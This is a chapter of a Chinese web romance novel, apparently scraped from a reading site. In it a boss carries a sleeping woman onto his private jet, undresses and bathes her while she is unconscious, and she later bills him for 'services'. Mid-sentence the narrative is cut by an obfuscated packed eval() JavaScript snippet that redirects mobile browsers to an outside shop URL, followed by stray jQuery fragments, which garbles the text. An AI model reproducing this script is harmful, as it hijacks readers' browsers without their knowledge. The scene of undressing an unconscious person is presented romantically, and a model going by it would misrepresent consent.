几乎是脑袋一沾到座椅,过度消耗精力的后遗症瞬间将玄梓的意识拍碎,沉入了黑暗。
似梦游一样寻着熟悉的冷香,她将整个上半身轻轻地趴伏过去,找到了一个舒适的枕头,双脚一蹬,帆布鞋落地。
狄九深倏然睁眼,无澜的眸光落下,多了颗圆得像红苹果般的小脑袋,毫无防备地枕在了他腿上。
“好香……”玄梓嘴里发出梦呓时候的咕哝,带着点鼻音。
脸颊上的嫩肉被挤压,给人一种婴儿肥的感觉,长长的睫毛尾尖上弯,嘴唇嘟着,全然没了方才那股神神叨叨的劲儿。
闲来无事,狄九深就这么看着,左手自然搭在了玄梓的软腰上,她乱动的时候,他抬手轻拍,就又安分了。
抵达机场的时候,流迹D320弧线型的机身已在不远处静静等待。
边生率先下车,躬身拉开后座车门。
车内,睡得昏天暗地的玄梓对外界变换,毫无所觉。
狄九深左手刚离开细腰,她便不满地嘟囔起来,两手用力按住他的大腿:“别抢我的……五毛钱……”
他没将玄梓强行叫醒,反而抱起她,一同下车,她顺势在他颈窝处找到了个位置,小脸埋进去,双手环上,像只找到了树的树袋熊。
一步一步地走向舷梯,狄九深就似没有感觉到身上重量,脚步如常。
机场的夜风带着赤城常有的潮热,吹动男人的衣角,也吹动了女孩额前的碎发。
边生眼观鼻,鼻观心,不敢多看,更不敢出声。
全副武装的穆罕古达候在一旁迎接,准备开口的称呼转成了弯腰,再起身时,眼珠子都快瞪出来了,忍不住用气声问:“主上有情况?”
“就是你看到的情况。”边生拿起那双被遗留的帆布鞋,用同样低的声音回答。
好奇心作祟,穆罕古达壮着胆子试探:“情人?还是……”
“再多嘴就让你去奥索尼亚挖土豆。”边生给了个眼神,让他自行体会。
穆罕古达缩了缩脖子,他可不想天天吃那没味儿的土豆子,还容易噎喉咙。
机舱内,狄九深抱着玄梓穿过走廊,进入了最里间的浴室。
他拍了下手下的腰,“腿,放下来。”
熟睡的玄梓听话地踩在铺着柔软防滑垫上,依旧软绵绵地靠着他。
杂乱气息沾染的衣物被逐渐褪去,狄九深的动作算不上温柔,当最后一件内衣脱下,赤裸的肌肤相贴。
炙热与微凉的触感对比鲜明,浴室内风循环系统优良,没有水汽,镜面里两人交叠的身躯一清二楚。
玄梓被水流激得一颤,往他怀里缩了缩,含糊地呓语:“冷……烫……”
看着怀里的人贴在他心脏的位置缓缓的呼吸,几缕耳发散在脸侧,不知道把她弄疼了会怎么样,这么听话,能承得住。
“到底是冷,还是热?”狄九深耐着性子,声音在哗啦水声中显得有些低沉。
似乎努力分辨了一下,玄梓往他身上更近了些,“嗯……冷……”
接着水温被调高了些,滚热的水流冲刷着肌肤,让狄九深无故烦躁。
玄梓全程只是像只任由摆弄的娃娃,脸上挂了水珠,就在他身上蹭掉,磨人的本事不小。
浴室门开,狄九深将玄梓放到床上,拿了件备用的白色丝质衬衫给她套上,不符合尺码的衣服几乎将人整个罩住,露出了泛红的小脸和纤细的双腿。
他也一同躺下,伸手将那个散发着同样香气的温软捞进怀里,她的触感让他不会产生排斥。
不一会儿,房间里就只剩下均匀的呼吸声。
飞机在夜空中平稳地飞向上空,数小时后,准时降落在白欧的某私人机场。
舱门却并未如常打开。
边生和穆罕古达面面相觑,目光不由自主地飘向那扇紧闭的门,里面没有任何动静。
奇怪?主上,难道是被玄小姐下药了?迷药……还是春药?
两人默契十足,都不敢去敲响那扇门,只能安静地等待,尤其是当他们知道,里面不止一位的时候。
不知什么时候,天色早已大亮。
被强大的生物钟准时唤醒,玄梓感觉到被一种温暖而坚实的禁锢感包围,动弹不得。
迷迷糊糊地一抬头,她就撞进了一张只应天上有的容颜——大老板!
他闭着眼,脸上凌厉的线条在此时显得柔和了些许,但那份与生俱来的尊贵与盛势却未减分毫。
可是,他的手臂,怎么像铁箍一样,锁得好紧,没有一丝缝隙。
玄梓宕机了三秒。
这是哪里?她不是应该在车里吗?怎么会睡在床上?还穿得……这么清凉!
记忆断片在车后座。
之后呢?难道自己梦里的能量源是大老板,那她还抱着人家吸了一夜……
玄梓尝试着把腰间的手臂挪开,指尖刚碰到一点儿,狄九深便不悦地蹙紧了眉头,手臂收得更紧,甚至……他甚至亲上了她的额头。
大老板有起床气?而且是毁灭级的那种!
她暂时躺尸,冷汗都快下来了。
怎么办?硬刚?她怕自己还没挣开,就先被衰败反噬,直接被拧断脖子。
回想起在菜市场撸流浪猫的时候,玄梓抬起另一只还算自由的手,轻柔地摸了摸男人的脸颊,“松松手……紧得疼……喘不过气了啊……”
奇迹般地,这招似乎管用。
狄九深紧蹙的眉头微微舒展,手臂力道松懈了那么一丝丝,玄梓抓住机会,像一尾滑溜的鱼,从他怀里挣脱出来。
看来大老板吃软不吃硬,这招还挺好使。
她几乎是滚下床的,赤脚踩在柔软的地毯上,心脏还在不听话地砰砰狂跳。
要赶紧离开,假装什么都没发生过,对,只要溜得够快,尴尬就追不上她!
玄梓蹑手蹑脚,跟做贼一样走向卧室门的方向,轻轻拧动门把手,推开——
预期的客房走廊没有出现,印入眼帘的是陌生机舱!
边助理和一个大汉分别正襟危坐在两边,舷窗外是异国机场的光景,还有好多大汉,个个都把着枪。
“咻!”玄梓迅速合上门。
她怎么在飞机上?什么时候上的飞机?这是哪儿?
回头看向身后那张大床,以及床上未醒的男人。
自己不仅被绑架出了国,还被洗刷刷塞进被窝里了?这得算跨国绑架加非法拘禁加强迫陪睡了吧?
契约里没写这一条啊!
这性质太恶劣了,算刑事案件……可国外的警察管不管国内老板的事?报警电话是多少来着?
瞟到镜子里的自己,玄梓四处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760987|190155||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找了下,也没看见自己的衣服,不能真穿着这件遮不住大腿的衬衫在机场狂奔吧。
“叩叩——”极轻的敲门声响起,吓得玄梓一个激灵。
她拉开一点门缝,探出半个脑袋,看到捧着两个衣物袋的边助理,连忙将手指竖在唇边:“嘘!”
“玄小姐,这是准备好的衣服。”边生眼底闪过一丝了然,配合地压低声音。
拿上衣物袋,玄梓“咻”地再次关上门,冲进卫生间,迫不及待地打开衣物袋,没想到里面是全新的休闲装。
关键是从内衣到外套,尺码居然完全合适。
玄梓瞥见垃圾桶里的衣服,“算了,反正新的不要钱,我大人有大量,不计较。”
换好衣服后,她对着镜子呼了口气,总算有了点安全感。
只是这口气还没完全松下来,身后的大床上,传来了沙哑的嗓音:“过来。”
玄梓背脊僵了一下,索性转过身。
不知何时,狄九深已经醒了,眼神里没有一丝睡意,那股凌厉重新回归,他平静地看着她,让人无法抗拒。
让她过去干嘛?秋后算账?还是……
只见,狄九深的视线扫了一眼旁边的衣物袋,意有所指:“手脚没用,那就别要了。”
“!!!”玄梓震惊地眨眨眼,大老板这是让她……伺候更衣吗?!
这不在灾厄清理的工作范围内吧?这明显是贴身秘书……或是通房丫头的活儿?
“玄梓。”
听见狄九深的声音沉了几度,玄梓果断拿起另一个衣物袋上前,“狄先生,110号小玄,很高兴为您服务。”
识时务者为俊杰,保命……和保住赚钱的机会要紧!
狄九深拿过衣物,自己换上。
原来只是帮忙递东西啊,她似乎忘记了回避,眼里全是对人体艺术的欣赏。
看见领带还没用上,为了补救刚才的迟疑,玄梓主动请缨,开始了与领带的斗争。
偶尔碰到胸肌或是腹肌也在所难免,不过手感真挺好。
只是,不管怎么系,她看着都像个歪脖子树。
“想说什么就说。”头顶传来平淡的声音,但听起来能感觉到他心情应该还行。
业务来了!
随即切换专业状态,玄梓心里的小算盘已经开始噼啪作响。
“此类额外任务超高危、高难度、且极易引发能量风暴和物理冲突。”
“根据市场行情、服务难度、以及可能存在的生命健康风险,安眠服务,按小时计费,每小时一千元,不足一小时按一小时计算。”
“昨晚保守估计七小时,共七千元。”
“至于更衣服务,”玄梓瞅了一眼手上被系得惨不忍睹的领带,面不改色心不跳,“属于高难度技术工种,且对心理素质要求极高,单次收费五百元。”
她仰头看着狄九深,仿佛在看一座行走的金山:“共计七千五百元。”
“支持现金、转账,请问是现在支付吗?”
“记账。”狄九深抬手将领带扯下,扔在了一边,走了出去。
玄梓看着他的背影,捏了捏拳头。
记账就记账,反正白纸黑字都写在了小本本上,休想赖掉!
不过,总感觉哪里怪怪的,她的职业发展路径,是不是有点跑偏了啊喂!